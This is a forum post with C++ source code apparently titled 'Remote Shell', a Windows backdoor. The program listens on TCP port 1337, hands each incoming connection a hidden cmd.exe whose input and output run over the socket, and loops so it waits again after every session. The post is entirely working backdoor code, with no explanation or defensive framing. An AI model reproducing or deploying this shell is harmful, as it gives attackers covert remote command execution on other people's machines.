[C++] Remote Shell - Printable Version

Code:
/***************************************************************
*  Author:Zach Rogers
*  Date:March.3.2008
*  Contact:zachrogers@live.com
*
*  Project:Remote Windows Shell
***************************************************************/
#include "stdafx.h"
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <iostream>

#pragma comment(lib, "wsock32.lib")
#pragma comment(lib, "ws2_32.lib")

using namespace std;

void rcon();

int main()
{
	cout << "[]" << endl;
	rcon();
}

void rcon()
{
	WSADATA wsa;

	SOCKET s;
	SOCKADDR_IN sAddr;

	USHORT port;

	PROCESS_INFORMATION pi;
	STARTUPINFO si;

	port = 1337;

	memset( &si, 0, sizeof( si ) );
	si.cb = sizeof( si );
	si.wShowWindow = SW_HIDE;
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

	sAddr.sin_addr.s_addr = INADDR_ANY;
	sAddr.sin_port =  (port >> 8) | (port << 8);
	sAddr.sin_family = AF_INET;

	WSAStartup( 0x0202, &wsa );

	s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
	bind( s, (LPSOCKADDR)&sAddr, sizeof( sAddr ) );
	listen( s, 5 );

	__asm
	{
		push ebx
			mov ebx, s
	}
	s = accept( s, NULL, NULL );
	__asm
	{
		push ebx
			call DWORD PTR [closesocket]
		pop ebx
	}

	si.hStdInput = (HANDLE)s;
	si.hStdOutput = (HANDLE)s;
	si.hStdError = (HANDLE)s;

	CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );

	WaitForSingleObject( pi.hProcess, INFINITE );

	CloseHandle( pi.hProcess );
	CloseHandle( pi.hThread );
	closesocket( s );

	WSACleanup();
	rcon();
}